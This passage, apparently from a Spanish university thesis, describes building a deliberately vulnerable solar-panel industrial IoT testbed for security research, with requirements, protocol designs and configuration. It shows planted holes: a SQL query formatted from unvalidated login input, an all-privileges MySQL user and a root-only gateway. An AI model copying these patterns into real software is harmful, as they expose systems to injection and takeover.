RNF08 | La conexion entre servidor web y Gateway IoT debera utilizar un protocolo de aplicacion
propio
RNF09 | La conexion entre servidor web y Gateway 10T ira en plano
RNF10 | El servicio web debera contar con alguna vulnerabilidad que permita comprometerlo
Cuadro 5.2: Lista de requisitos no funcionales del Frontend
N° | Requisito
RI01 | El servicio web debera almacenar las credenciales de acceso (usuario y contrasefia) de los
usuarios
RI02 | El servicio web debera almacenar las cookies de sesién de los usuarios junto con su fecha
de caducidad
Cuadro 5.3: Lista de requisitos de informacion del Frontend
5.1.2 Requisitos del Backend
N° | Requisito
RF01 | El Gateway IoT debera permitir recibir una peticion IT del servicio web, convertirla a
lenguaje OT y enviarla al PLC industrial
RF02 | El PLC-Sim debera recibir la peticién OT del Gateway IoT e interactuar sobre una carac-
terizacién de una instalacién fotovoltaica real
Cuadro 5.4: Lista de requisitos funcionales del Backend
N° Requisito
RNFO01 | El Gateway IoT y el PLC-Sim deberan estar conectados a una red interna sin conexion
directa a Internet
RNFO02 | La conexion entre servidor web y Gateway IoT via red interna debera utilizar un protocolo
de aplicacion propio
RNFO03 | La conexion entre servidor web y Gateway 10T ira en plano
RNF04 | El Gateway loT debera tener instalado el driver que controla el PLC-Sim
RNFO05 | La conexién entre Gateway IoT y PLC-Sim se debera realizar mediante protocolo indus-

trial
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5.2. HISTORIAS DE USUARIO

RNF06 | La conexion entre Gateway loT y PLC-Sim ira en plano

RNF07 | El Gateway IoT y el PLC-Sim seran virtualizados utilizando una distribucion ligera de
GNU/Linux

RNF08 | El Gateway IoT debera contar con alguna vulnerabilidad que permita comprometerlo

RNF09 | El PLC-Sim debera contar con programa que caracterice el comportamiento de una ins-
talacion fotovoltaica real utilizando informacién tanto de horas de salida y puesta de sol,
como de angulos 6ptimos por mes del afio

Cuadro 5.5: Lista de requisitos no funcionales del Backend
N° | Requisito
RIO01 | El PLC-Sim virtualizado debera almacenar el horario de puesta y salida de sol, junto con

los angulos 6ptimos por mes del afio

5.2

Cuadro 5.6: Lista de requisitos de informacion del Backend

Historias de usuario

A continuacion, se muestran en forma de tabla alguna de las historias de usuario que se han ela-
borado en esta fase de andlisis.

Ne°: HUO1
Titulo: Ver energia en generacion en tiempo real
Prioridad: | Alta
Descripcion: | Como usuario quiero ver desde la web cuanta energia se esta generando en
tiempo real para poder valorar la eficiencia de las placas
Validacion: | El usuario puede ver en la web la cantidad de energia que se esta generando
en tiempo real
N°: HUO02
Titulo: Encender o apagar el conjunto de placas solares
Prioridad: | Alta
Descripcion: | Como usuario quiero poder encender o apagar las placas solares desde la web
para que se puedan adaptar mejor a mis necesidades
Validacion: | El usuario puede encender o apagar el conjunto de placas solares desde la web
N°: HUO03
Titulo: Modificar el angulo de inclinacién de la placa
Prioridad: | Alta
Descripcion: | Como usuario quiero poder modificar desde la web el dngulo de inclinacién
al que se encuentran las placas sobre la superficie en que estan instaladas para
poder aprovechar mejor la energia solar
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Validacién: | El usuario puede modificar el &ngulo de inclinacién de las placas solares desde
la web
N°: HUO04
Titulo: Autenticacion en el servicio web
Prioridad: | Alta
Descripcion: | Como usuario no quiero que se pueda acceder a las funciones del servicio
web sin haberse autenticado previamente para que solo puedan tener acceso
las personas autorizadas
Validaciéon: | El usuario debe autenticarse para poder acceder a las funciones del servicio
web
N°: HUO05
Titulo: Uso de una base de datos de tipo SQL
Prioridad: | Alta
Descripcion: | Como usuario quiero que el servicio web utilice una base de datos de tipo SQL
para poder estudiar el grado de vulnerabilidad a inyecciones SQL
Validacion: | El servicio web se apoya en una base de datos de tipo SQL
N°: HUO06
Titulo: Conexion con el servicio web encriptada
Prioridad: | Alta
Descripcion: | Como usuario quiero que la conexioén con el servicio web esté encriptada para
que nadie pueda leerla por el camino
Validaciéon: | La conexidn con el servicio web esta encriptada
N°: HUO07
Titulo: Uso de Apache como servidor web
Prioridad: | Alta
Descripcion: | Como usuario quiero que se utilice Apache como servidor web para estudiar
malas practicas en su configuracion que pueden constituir riesgos en cuanto a
la seguridad del servicio web
Validacién: | El servicio web se ha desplegado utilizando Apache
N°: HUO08
Titulo: Cambio automatico de inclinacion de las placas
Prioridad: | Alta
Descripcion: | Como usuario quiero que el angulo de inclinacion de las placas solares cam-
bie automaticamente al mas 6ptimo para cada mes el dia uno a las 00h para
aprovechar lo maximo posible la energia solar
Validaciéon: | El angulo de inclinacién de las placas solares cambia de forma automatica al

mas optimo el dia 1 de cada mes a las 00h
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Capitulo 6

Diseno de la infraestructura

Como se ha descrito ya en el capitulo anterior, el requisito principal a tener en cuenta para lo-
grar el objetivo de este proyecto es representar correctamente los tres componentes caracteristicos que
constituyen un sistema ciber-fisico. Por eso, el disefio de la solucion consta de tres elementos: el
IT (Servidor Web), el OT (PLC-Sim) y el IoT (Gateway IoT) (ver Figura 6.1). En esta seccion se
describiran cada uno de ellos y todos los componentes que se han tenido que disefiar para el funcio-
namiento de estos tres elementos y su interconexion.

_\\, / \\
Protocolo de Gateway IOT

aplicacion -
propio Conversion

|

Servicio Web

TCP
Driver PLC
Frontend Protocolo
industrial
Trafico web caracterizado
encriptado
PLC-Sim

& |

Caracterizacion PID

\_ Backend )

Figura 6.1: Esquema de disefio de la caracterizacion del sistema IloT
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6.1 Servidor web

El tnico elemento destacable que se ha tenido que disefiar para el funcionamiento en el servidor
web es el mecanismo de autenticacion de los usuarios para entrar al monitor de control, que era uno
de los requisitos que se expusieron el capitulo de analisis.

En este caso se ha optado por una de las soluciones mas habituales en este tipo de sistemas: una
base de datos que contenga una tabla con las credenciales de acceso de los usuarios y otra con las
cookies de sesion. En la tabla 6.1 se puede ver con mas detalle las tablas que se han disefiado.

Tabla Descrip. tabla Atributos Tipo Restriccion
Almacena las cookies ID VARCHAR N. NULL P. KEY
cookies de sesién de los user VARCHAR NOT NULL
usuarios de la web exp_tstamp INTEGER N.NULL, >0
Almacena las credenciales user VARCHAR N. NULL, P. KEY
users de acceso de los pass VARCHAR NOT NULL
usuarios de la web

Cuadro 6.1: Tablas de la base de datos necesarias para la autenticacion en el servicio web

De esta manera, cuando un usuario introduzca unas credenciales de acceso se comprobara que
coincidan con alguna de las existentes en la base de datos. Si coinciden, se devolvera al usuario una
cookie de sesion que durara 15 dias.

6.2 Gateway loT

El funcionamiento de este Gateway loT es recibir la peticion IT del servidor web y, a continua-
cion, llamar al driver de comunicacion correspondiente, que es el encargado de establecer la conexion
mediante una caracterizacion de protocolo industrial con el PLC-Sim.

En este sentido, el principal aspecto de disefio que se ha tenido que abordar es caracterizar el
funcionamiento de un driver de un PLC industrial real. En la siguiente tabla se muestran las op-
ciones de las que dispone el driver que se ha disefiado junto con una pequefia descripcién y las posibles
respuestas.

Opcién Descripcion Respuesta
. . Si hay éxito — ok
on Enciende el sistema . y
Si hay algun error — error
. Si hay éxito — ok
off Apaga el sistema y

Si hay algtin error — error
Si hay éxito — ok
Si hay algun error — error
Si hay éxito — Energia (en W)
Si hay algun error — error

move <angulo> | Modifica el angulo de inclinacién del sistema

energy Devuelve la cantidad de energia en generacién
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status Devuelve el estado del sistema St h'ay exito . Estado (on/off)
Si hay algun error — error
angle Devuelve el angulo de inclinacion del sistema S hay EXI'[O, ~ Angulo (en )
Si hay algun error — error
reset Restablece la memoria del PL.C . St hay}exuo ~ ok
Si hay algutn error — error

Cuadro 6.2: Descripcién del funcionamiento del driver del PL.C

6.3 PLC-SIM

Como no disponemos de una planta fotovoltaica real, el principal aspecto de disefio que hay que
tener en cuenta es simular que el PLC-Sim esta conectado con una instalacion real.

Para ello se ha disefiado una caracterizacion del funcionamiento de una planta fotovoltaica real ba-
sandose en informacion sobre las horas puesta/salida del sol [37] y los angulos de inclinacion 6ptimos
en la localizacién donde se sitdan las placas [43]. Lo que se busca utilizando toda esta informacion es
obtener unos datos de energia en generacion en tiempo real razonablemente reales.

Para almacenar toda esta informacién sobre horas de puesta/salida del sol y los dngulos de incli-
nacion optimos se utilizara una base de datos para la que se han disefiado las siguientes tablas:

Tabla Descrip. tabla Atributos Tipo Restriccion
angulos ?[r)ltt(lgrlillg: s;:rllnccellgl; ;1122 mnes INTEGER Entre 0y 12
en Valladolid angulo INTEGER Entre 0y 90

mes INTEGER Entre 1y 12

horasSol Horario de salida/puesta hsalida INTEGER Entre 0y 23
del sol en Valladolid hPuesta INTEGER Entre 0y 23

nHoras INTEGER Entre Oy 24

Historico de estados

. timestamp INTEGER Mayor que 0
estado del sistema (O/A'pagado valor INTEGER Debe ser0o 1
y 1/Encendido)
registroPlaca Hcllzt(i)fllccl(i)niiizrrllg(lili?s timestamp INTEGER Mayor que 0
& angulo INTEGER Entre 0 y 90

sistema fotovoltaico

Cuadro 6.3: Tablas de la base de datos necesarias para la caracterizacion del sistema fotovoltaico

6.4 Elementos de interconexion

En esta seccién vamos a exponer los aspectos de disefio relacionados con todos los elementos
que se han tenido que construir para permitir la conexién entre cada uno de los tres componentes del
sistema.
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6.4.1 Red interna

Red loT Interna

10.0.0.0/8
Router:
RN Internet 10.0.0.1
I 11 ocoooooo
‘ J L J
p\Y o

Servidor Web: Gateway loT: PLC-Sim:
10.0.0.2 10.0.0.10 10.0.0.20

Figura 6.2: Esquema de disefio de la red IoT interna

Este sistema IIoT que estamos caracterizando va a contar con una red interna que comunique
los tres componentes del sistema. Esta red no tendra conexion directa a internet dado que, como
tanto Gateway IoT y como PLC-Sim no la necesitan, el hecho de que estuviese conectado a la Red
constituiria un riesgo absolutamente innecesario.

Por tanto, es el servidor web el encargado de hacer de puente con una tarjeta de red conectada a la
red interna y con la otra conectada a Internet. Este procedimiento es una forma habitual de aislar en
cierta forma tanto el Gateway como el PLC puesto que, si se quieren comprometer, la tinica opcion
posible es utilizar el servidor web como intermediario.

Por ultimo, recordar que, como se establecié en el apartado de andlisis, el trafico de red que pase
por la red interna (tanto el que se produce entre servidor web y Gateway IoT mediante protocolo
propio, como entre Gateway IoT y PLC-Sim mediante caracterizacion de protocolo industrial) ira en
plano.

6.4.2 Conexion entre Gateway loT y Servidor web

Dado que uno de los requisitos que tiene que cumplir el sistema es que la comunicacion entre
servidor web y Gateway IoT se haga mediante un protocolo de aplicacion desarrollado ad-hoc en
este trabajo, es necesario explicar qué aspectos se han tenido en cuenta para su disefio.
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Este protocolo de aplicacién viajard mediante TCP y debera incluir un campo que indique si se
trata una peticion o una respuesta, otro referente a la acciéon que se quiere realizar, otro que indique
que si se ha producido un error y, por ultimo, un campo de contenido para adjuntar mas informacion
cuando sea necesario. Asi, la estructura de campos y opciones sera la siguiente:

Pet./Resp. Accién Error Contenido

1 bit 6 bits 1 bit — bits

Cuadro 6.4: Estructura del protocolo de aplicacion industrial disefiado

Campo | Valor Opcion
Peticion al Gateway
Respuesta del Gateway
Obtener la cantidad de energia en generacion (en W)

Obtener el angulo en que se encuentran las placas (en grados)
Obtener el estado del sistema (Encendido o Apagado)
Encender el sistema
Apagar el sistema
Mover la placa
No se ha producido ningtin error
Se ha producido un error
Este es un campo que no siempre es obligatorio. En una peticién sirve
para pasar el angulo al que queremos que se situen las placas y en una
respuesta para pasar el valor que se pide o la confirmacién de que la
accion se ha realizado correctamente

o

Pet./Resp.

Accién

Error

= Ol NN WIN = O

Contenido -

Cuadro 6.5: Opciones de cada campo del protocolo de aplicacion propio

Como aclaracion a lo expuesto en el cuadro que describe la estructura del protocolo propietario,
es necesario explicar que el tamafio del protocolo en bits debe de ser siempre multiplo de 8. De es-
ta manera, dado que el campo de contenido por ser texto siempre va a ser multiplo de 8, la suma
de los campos de Pet/Resp, Accion y Error deben de ser multiplo de 8 también. Esta es la razon de
que, aunque solo necesitemos 5 acciones, podamos llegar a tener hasta 64 acciones. Por otra parte, es-
to es algo que nos dara mucha facilidad de escalabilidad si queremos afiadir mas funciones en el futuro.

Por otra parte, el tamafio variable del protocolo segtin el contenido que afiadamos no supone ningtin
problema de implementacion ya que es el socket TCP el que se encargara de construir el numero de
paquetes que sea necesario.

6.4.3 Conexion entre Gateway loT y PLC-Sim

La conexion entre dispositivos OT se suele realizar mediante TCP pero por encima afiaden otro
protocolo de transporte industrial como, por ejemplo, COTP (Connection Oriented Transport Pro-
tocol); y un protocolo de aplicacion industrial como, por ejemplo, STCOMM (protocolo propietario
de Siemens).
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En este trabajo hemos disefiado un protocolo de comunicacién especifico entre el Gateway [oT y el
PLC que sigue el patrén de comunicacion habitual de los protocolos de transporte industriales: primero
se notifica al destinatario la cantidad de paquetes que se van a enviar y, a continuacion, se mandan
todos los paquetes seguidos (ver figura 6.3). Cuando el receptor ha recibido todos los paquetes, envia
una respuesta para indicar si ha habido éxito.

N\

Gateway loT

Motificar 3 paguetes

Y

Paquete 1

Y

Paquete 2

Y

Paquete 3

Y

Respuesta

Figura 6.3: Ejemplo de funcionamiento de una conexion estandar de tipo OT

En nuestro caso, teniendo en cuenta las opciones de las que dispone el driver del PL.C que hemos
disefiado, los paquetes se envian siempre de uno en uno excepto cuando se realiza el borrado de me-
moria del PLC, en el que se envian tres peticiones a la vez. Aunque solo se vaya a enviar un paquete a
la vez en la mayoria de los casos, siempre es necesario notificar primero la cantidad de paquetes que
se van a enviar.

Protocolo de aplicacion industrial

El protocolo de aplicacion industrial que hemos caracterizado para la conexion entre Gateway [oT
y PLC se ha disefiado con los siguientes campos:

= type: Indica si se trata de una peticion o de una respuesta.

= option: Indica la opcién que queremos realizar sobre una posicion de memoria del PLC (leer,
modificar o borrar).

= err: Indica si se ha producido algun error.

= mem_addr: Indica la posicién de memoria del PLC a la que queremos acceder.

32



CAPITULO 6. DISENO DE LA INFRAESTRUCTURA 6.4. ELEMENTOS DE INTERCONEXION

= value: Sirve para transportar algin valores como el angulo de inclinacion de las placas, el estado
del sistema, la energia en generacion en tiempo real, etc.

Type | Option | Err | Mem_addr | Value
1bit | 6bits | 1 bit 20 bits 10 bits

Cuadro 6.6: Estructura del protocolo de aplicacion industrial disefiado

Campo Valor Opcién
Tvpe 0 Peticion
yp 1 Respuesta
1 Leer direccion de memoria
Option 2 Modificar direccion de memoria
3 Borrar direcciéon de memoria
0 No se ha producido ningtin error
Err .
1 Se ha producido un error
Este es un campo para indicar la direcciéon de memoria del
Mem_addr - .
PLC sobre la que se quiere actuar
Value Este es un campo que no siempre es obligatorio, pero sirve
para transportar algunos valores entre dispositivos OT

Cuadro 6.7: Opciones de cada campo del protocolo de aplicacion industrial disefiado

Direccién Contenido
500 Cantidad de energia en generacion en tiempo real
1000 Estado del sistema (encendido o apagado)
1500 Angulo de inclinacién de las placas sobre la superficie en que estan instaladas

Cuadro 6.8: Direcciones de memoria en uso en el PL.C Industrial

Protocolo de transporte industrial

El protocolo de transporte industrial caracterizado que hemos disefiado para la conexién entre
Gateway IoT y PLC cuenta con los siguientes campos:

= ID_proto: Indica el ID del protocolo, es decir, el tipo de protocolo de transporte que se esta
usando. En nuestro caso utilizaremos siempre el mismo y se ha optado por que su ID sea el 7.

m ID source: Indica mediante una cadena alfanumeérica de 10 caracteres como maximo el ID del
emisor.

m ID dest: Indica mediante una cadena alfanumérica de 10 caracteres como maximo el ID del
destinatario.

= tpdu_type: Si es 0 se trata un mensaje para que busca notificar al receptor que va a recibir a
continuacion un conjunto de paquetes, pero si es 1 se trata de un paquete normal.
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= credits: Para el caso en que sea un mensaje para notificar el envio de un conjunto de paquetes,
indica cuantos son.

= ap_proto: Se refiere al protocolo de aplicacion industrial que va por debajo.

ID_proto | ID_source | ID_dest | tpdu_type | credits | ap_proto
1 bit 40 bits 40 bits 1 bit 2 bits - bits

Cuadro 6.9: Estructura del protocolo de transporte industrial disefiado

En cuanto a los ID_source y ID_proto, como nuestro sistema I1oT solo cuenta con dos dispositivos
que entienden protocolo OT, el Gateway IoT y el PLC-Sim, solo tenemos que establecer dos ID. El
ID del Gateway IoT sera gtw y el del PLC-Sim sera plc.
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Capitulo 7

Implementacion de la infraestruc-
tura

En este capitulo se van a especificar los detalles de implementacién del sistema IIoT caracteri-
zado que se ha construido como escenario de nuestra prueba de concepto. Como el desarrollo de esta
fase esta se divide en tres iteraciones, vamos a subdividir este capitulo por cada uno de los sprint.

Destacar que uno de los principales resultados de esta implementacién, es decir, el cédigo que
ejecuta cada uno de los componentes de la infraestructura, se puede encontrar en mi GitHub [24] [22]
[23].

7.1 Sprintl

En la reunion que se produjo al inicio de este sprint con los Product Owners, tomando como base
la lista de trabajos que se expuso en el capitulo de planificacién [3.4], se ha confeccionado la siguiente
lista de tareas:

N° | Tarea Duracion
1 | Desarrollo del servicio web basado en Django 6 dias
2 | Instalacion y configuracion de una maquina virtual con GNU/Linux para el 1 dia

servicio web
3 | Implementacion de un protocolo de aplicacion propio para la conexion entre 3 dias
servidor web y Gateway IoT

Cuadro 7.1: Sprint Backlog 1: Lista de tareas a desarrollar durante el primer sprint

7.1.1 Desarrollo del servicio web basado en Django

En primer lugar, hemos desarrollado un servicio web basado en Django 3.2.13 [21], un frame-
work web de codigo abierto escrito en Python que permite crear aplicaciones web de forma rapida,
sencilla y segura. Este servicio web cuenta con una pantalla de inicio de sesion y un monitor de control
del sistema de placas solares con las siguientes funciones: ver la energia en generacion en tiempo real;
ver y modificar el estado del sistema (encendido o apagado); y ver y modificar el angulo de inclinacién
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de las placas solares sobre la superficie que estan instaladas. También permite cerrar sesién cuando
tenemos una sesion iniciada.

Para gestionar la autenticacion de los usuarios, este servicio esta conectado con una base de
datos MySQL mediante MySQL Connector [52], el conector oficial de MySQL para Python. Como
uno de los requisitos de este servicio es que tuviese algin tipo de vulnerabilidad para su posterior
analisis y explotacion, se ha optado porque a la hora de realizar la autenticacion de los usuarios con
la base de datos no se validen los campos introducidos. De esta manera, si en vez de un usuario y una
contrasefia, introducimos cédigo SQL, podemos alterar la sentencia que se ejecuta sobre la base de
datos. La consulta que ejecuta el servicio contra la base de datos es la siguiente:

sql = ”SELECT 1 FROM users WHERE user="%s’ AND pass="%s’" % (user,
hashlib.sha256(password.encode(’utf-8’)).hexdigest())

Este servicio genera las cookies de sesion utilizando un identificador tinico que genera con el
paquete uuid y las gestiona apoyandose en la base de datos. Para la conexion con el Gateway IoT
utiliza sockets TCP.

7.1.2 Puesta en marcha del sistema virtualizado para el servicio web

A continuacién, dado que no se dispone de un ordenador fisico que destinar inicamente para este
propdsito, se va a emplear un servicio virtualizado. En este sentido, vamos a utilizar Oracle VM
VirtualBox [80], uno de los software de virtualizacion gratuitos mas utilizados y de los que mas op-
ciones dispone. Se ha conectado la maquina tanto a la red interna IoT como a Internet.

En cuanto a qué sistema operativo elegir, uno de los requisitos de la fase de analisis era que fuese
GNU/Linux, dado que es lo mas habitual en servidores web. De todo el abanico de distribuciones de
GNU/Linux que hay en el mercado se ha optado por utilizar Ubuntu Server, porque es una de las
distribuciones mas utilizada en servidores y su instalacion y configuracion es muy sencilla.

Como uno de los requisitos es que el sistema cuente con alguna vulnerabilidad que nos sea de uti-
lidad para su posterior analisis y explotacidn, se ha optado por instalar una version de Ubuntu Server
18.04 LTS del afio 2018 que contiene algunas vulnerabilidades conocidas [78]. Esto representa muy
bien el hecho de que, aunque la versiéon mas actualizada de Ubuntu Server ya parchea estas vulne-
rabilidades, todavia hay multitud de empresas con servidores corriendo versiones desactualizadas de
distribuciones de GNU/Linux (hay muchas que utilizan versiones mucho mas desactualizadas que la
utilizada en este caso).

7.1.3 Implementacion de un protocolo de aplicacion propio para la co-
nexion entre servidor web y Gateway loT

Uno de los requisitos que establecieron en el apartado de andlisis es que la conexién entre Gateway
IoT se realice mediante un protocolo de aplicacion propio. Posteriormente, en el apartado de disefio
ya se estableci6 como deberia ser la estructura y funcionamiento de este protocolo.

La implementacion se ha realizado utilizando scapy [64], un modulo de Python para manipulacion
de paquetes. La clase que define el protocolo es la siguiente:
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class propProto(Packet):

name = ”Protocolo propio para la comunicacién entre servidor
web y Gateway IoT”

fields _desc = [
BitField (name="type”, default=0, size=1),

BitField (name="action”, default=0, size=6),
BitField (name="error”, default=0, size=1),
StrField (name="content”, default="")

Para el envio y recepcion de los paquetes se utilizan sockets convencionales.

7.2 Sprint 2

En la reunién de inicio de este sprint con los Product Owners, tomando como base la lista de

trabajos que se expuso en el capitulo de planificacién [3.4], se ha confeccionado la siguiente lista de
tareas:

N° | Tarea Duracion
4 | Puesta en marcha la base de datos MySQL asociada al servicio web 1 dia
5 | Desarrollo del script que limpia de la base de datos las cookies de sesién ca- 1 dia
ducadas

6 | Despliegue del servicio web mediante Apache 2 dias

7 | Desarrollo de un programa que caracterice el comportamiento de un Gateway 2 dias
[oT real

8 | Instalacién y configuracién de una maquina virtual con GNU/Linux para el 1 dia
Gateway loT

9 | Disefio de un protocolo de aplicacion y transporte que caractericen el funcio- 3 dias

namiento de protocolos industriales reales

Cuadro 7.2: Sprint Backlog 2: Lista de tareas a desarrollar durante el segundo sprint

7.2.1 Puesta en marcha de MySQL para el servicio web

Otro de los requisitos que debe cumplir el servidor web es que el Sistema Gestor de Bases de
Datos (SGBD) sea MySQL. En este sentido, hemos instalado en nuestra maquina la version 5.7.38
de MySQL, la mas reciente en el momento en que se desarrolla este trabajo.

En primer lugar, respecto a la politica de usuarios del SGBD, el que utilizara el servicio web para
conectarse con la base de datos sera ‘servWeb’@’localhost’. Para simular un escenario habitual en
algunos servicios web y que es muy peligroso a nivel de seguridad, daremos a este usuario todos los
privilegios para todas las bases de datos. De igual manera, este usuario tendra privilegios sobre el
directorio directorio donde se encuentran los archivos del servidor (/var/www). Estas malas practicas

a la hora de configurar MySQL nos daran muchas posibilidades en el posterior andlisis y explotacion
de vulnerabilidades.
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El servicio web se conecta al SGBD utilizando la base de datos servWeb, creada especificamente
para este fin. Si tenemos en cuenta lo descrito en el capitulo de disefio, debemos crear dos tablas:
users, que contiene las credenciales de acceso de los usuarios; y cookies, que contiene las cookies de
sesion de los usuarios. Para ello, se han utilizado las siguientes sentencias:

CREATE DATABASE ’servWeb’;
USE ’servWeb’;

CREATE TABLE ‘cookies © (

’ID’ varchar (100) NOT NULL,

user’ varchar (25) NOT NULL,

exp_tstamp’ int(11) NOT NULL CHECK (’exp_tstamp’ > 0),
PRIMARY KEY (’ID’)

);

CREATE TABLE ’users’ (
user’ varchar(25) NOT NULL,
’pass’ varchar(64) NOT NULL,
PRIMARY KEY (’user’)

)

Por ultimo, hemos afiadido un usuario para acceder al servicio web con nombre de usuario user y
contrasefia password.

7.2.2 Desarrollo del script que limpia de la base de datos las cookies
de sesion caducadas

Otro de los requisitos del servicio web es que fuese capaz de eliminar las cookies caducadas de
la base de datos una vez al mes. Se ha decidido que esto ocurra todos los dias 1 de cada mes a las
00h. Para ello se ha utilizado el médulo de Python apsheduler [14].

Para el borrado de las cookies caducadas se abre una conexion con la base de datos utilizando
MySQL connector[52] y se ejecuta la siguiente sentencia:

DELETE FROM cookies WHERE exp_tstamp <UNIX_TIMESTAMP (NOW() ) ;

Para que este script se ejecute al inicio del sistema y siempre esté corriendo en segundo plano
hemos creado un servicio de Systemd. Este servicio se encuentra en la siguiente ruta (/etc/system-
d/system/clearCookies.service) y el contenido del fichero es el siguiente:

[ Unit]

Description = Automatic session cookie remover
After = mysql.service

[ Service ]

WorkingDirectory = /home/server/
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User = server
ExecStart = /usr/bin/python3.7 /home/server/clearCookies.py

[Install]
WantedBy=multi —user. target

7.2.3 Despliegue del servicio web mediante Apache

Una de las peculiaridades de Django es que cuando se pone en produccion no sirve archivos es-
taticos, por lo que se necesita combinarlo con otro servidor web para poder proporcionar este tipo de
archivos. En este caso, se ha optado por utilizar Apache 2.4.29 [13], un servidor web HTTP de c6digo
abierto y uso muy extendido.

Para el funcionamiento de Apache con Django, en primer lugar, debemos instalar el médulo mod_ws-
gi [51], que permite a Apache desplegar cualquier aplicacion web basada en Python que soporte la es-
pecificacion WSGI. A continuacion, deberemos decidir en que directorio vamos a guardar los ficheros
del servicio web, en este caso /var/www y configuraremos un entorno virtual de Python. Para realizar
todas estas configuraciones se han seguido los siguientes tutoriales: [26] [39] [55].

El fichero de configuracion de Apache (/etc/apache2/sites-available/000-default.conf) se ha con-
figurado de la siguiente manera:

<VirtualHost %:8443>
ErrorLog /var/www/logs/error.log
CustomLog /var/www/logs/access.log combine

alias /static /var/www/ static
<Directory /var/www/static >

Require all granted
</Directory >

<Directory /var/www/src/servWeb>
<Files wsgi.py>
Require all granted
</Files >
</Directory >

WSGIDaemonProcess servWeb python—-home=/var/www/venv python-path
=/var /www/ src/

WSGIProcessGroup servWeb

WSGIScriptAlias / /var/www/src/servWeb/wsgi.py

SSLEngine on
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SSLCertificateFile /etc/ssl/certs/apache—-selfsigned.crt
SSLCertificateKeyFile /etc/ssl/private/apache—-selfsigned.key

<FilesMatch ”\.(cgi|shtml|phtml|php)$”>
SSLOptions +StdEnvVars
</FilesMatch >

<Directory /usr/lib/cgi—-bin>
SSLOptions +StdEnvVars
</Directory >
</VirtualHost >

Como se puede observar, se ha optado por exponer el servicio en el puerto 8443 y se ha activado el
motor SSL para que la conexion vaya encriptada, que era uno de los requisitos del servicio web.

El certificado utilizado es autofirmado, dado que para nuestra prueba de concepto no se ha consi-
derado necesario comprar un certificado. El tinico inconveniente es que cada vez que entremos en la
web aparecera por pantalla una advertencia que nos indica que nuestra conexion no es segura y nos
pregunta si deseamos continuar.

7.2.4 Desarrollo de la caracterizacion del comportamiento de un Gate-
way loT real

La caracterizacion del comportamiento de un Gateway IoT real se ha realizado con un programa
escrito en Python que abre un socket y lo pone a escuchar en el puerto 5555 esperando a recibir paque-
tes del servicio web. Cuando recibe un paquete del servicio web mediante protocolo propietario,
evalua a que opcion corresponde, llama al driver del PLC ejecutando un comando del sistema y
lee su salida.

Por tanto, primero convierte la peticion IT del servidor web a protocolo OT gracias al driver vy,
después, recibe la respuesta OT y la vuelve a convertir a protocolo IT para que la entienda el servidor
web.

7.2.5 Instalacidon y configuracion del sistema virtualizado para el Gate-
way loT

Como en el caso del servicio web, vamos a emplear un sistema virtualizado bajo Oracle VM
VirtualBox, uno de los software de virtualizacion gratuitos mas utilizados. Esta maquina sélo estara
conectada a la red interna IoT.

Para caracterizar lo mejor posible un Gateway IoT real, el sistema operativo que va a correr sobre
el sistema virtualizado debe ser una distribucion ligera de GNU/Linux. En este caso se ha optado
por utilizar Arch Linux [15] en su ultima versién dado que se trata de una distribucion muy flexible
y ligera.

Por tltimo, con el objetivo de simplificar y como ocurre en muchos sistemas embebidos, el sistema
solo tendra usuario root. El hecho de tener solo el usuario root tiene unas implicaciones en términos
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de seguridad que nos seran ttiles para nuestro analisis y explotacién de vulnerabilidades.

7.2.6 Diseno de un protocolo de aplicaciéon y transporte que caracteri-
cen el funcionamiento de protocolos industriales reales

Uno de los requisitos que se especificaron en el apartado de andlisis es que la conexion entre Ga-
teway [oT y PLC industrial se realizase mediante una caracterizacion de un protocolo industrial.
Para ello, en el apartado de disefio se describi6 el funcionamiento basico tanto de un protocolo de
aplicacion como de uno de transporte industrial y se indic6 como se habia adaptado a este caso.

Dado que el driver es el encargado de realizar la conexion esta escrito en C, se han implementado
ambos protocolos utilizando los siguientes dos structs:

struct ind_ap struct ind_tp

{ {
unsigned int type: 1; unsigned int ID_proto: 3;
unsigned int option: 2; char ID source[5];
unsigned int err: 1; char ID dest[5];
unsigned int mem_addr: 20; unsigned int tpdu_type: 1;
unsigned int value: 10; struct ind_ap ap_proto;

} }

Como en el caso del servicio web, para el envio y recepcion de los paquetes se utilizan sockets
convencionales.

7.3 Sprint 3

En la reunion de inicio de este sprint con los Product Owners, tomando como base la lista de
trabajos que se expuso en el capitulo de planificacién [3.4], se ha confeccionado la siguiente lista de
tareas:

N° | Tarea Duracion
10 | Desarrollo de un programa que caracterice el funcionamiento de un driver de 2 dias

un PLC industrial real
11 | Desarrollo de un conjunto de funciones que caractericen el comportamiento 2 dias
de un sistema de placas solares real

12 | Desarrollo de un programa que caracterice el comportamiento de un PLC in- 2 dias
dustrial que controla un sistema de placas solares

13 | Desarrollo de un script que cambie el angulo de inclinacién del conjunto de 1 dia
placas solares al mas 6ptimo segun el mes de afio

14 | Instalacién y configuracién de una maquina virtual con GNU/Linux para el 1 dia
PLC-Sim

15 | Conexion entre los tres componentes y bateria de pruebas 2 dias

Cuadro 7.3: Sprint Backlog 3: Lista de tareas a desarrollar durante el tercer sprint
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7.3.1 Desarrollo de un programa que caracterice el funcionamiento de
un driver de un PLC industrial real

Otro de los requisitos del apartado de disefio es que el Gateway IoT cuente con un driver que le
permita controlar el PL.C-Sim. Para ello, siguiendo lo que establecimos en el apartado de disefio, se
ha creado una caracterizacion con un programa escrito en C. Se ha optado por utilizar este lenguaje de
programacién dado que no es interpretado (es extrafio que una compaiiia entregue al usuario el codigo
fuente del driver).

Cuando le invocamos fabrica los paquetes en protocolo industrial correspondiente y los envia
para, posteriormente, quedarse a esperar respuesta. Finalmente muestra como interpreta la respuesta
del PLC por pantalla.

7.3.2 Desarrollo de un conjunto de funciones que caractericen el com-
portamiento de un sistema de placas solares real

Como el caso de uso en el que vamos a realizar nuestro estudio es un sistema de placas solares,
se decidio establecer como requisito en el apartado de analisis la necesidad de desarrollar un conjunto
de funciones que fuesen capaces de simular de forma sencilla su funcionamiento.

Esta simulacion se basa en informacion sobre las horas de puesta/salida del sol y angulos 6pti-
mos de inclinacion de las placas por mes del afio para obtener unos datos mas o menos reales. En
este caso, la energia maxima que se puede generar con el angulo 6ptimo y a la mejor hora de sol del
dia es de 500 W. Evidentemente, la energia que se genera por la noche o si apagamos el sistema es 0 W.

Dado que el objetivo es realizar un estudio de vulnerabilidades y no caracterizar el funcionamiento
de un conjunto de placas solares de forma muy precisa, conseguir una gran exactitud es algo que se
encuentra fuera del alcance de este trabajo.

7.3.3 Desarrollo de un programa que caracterice el funcionamiento de
un PLC industrial que controla un sistema de placas solares

La caracterizacion del comportamiento de un PLC industrial real se ha realizado con un programa
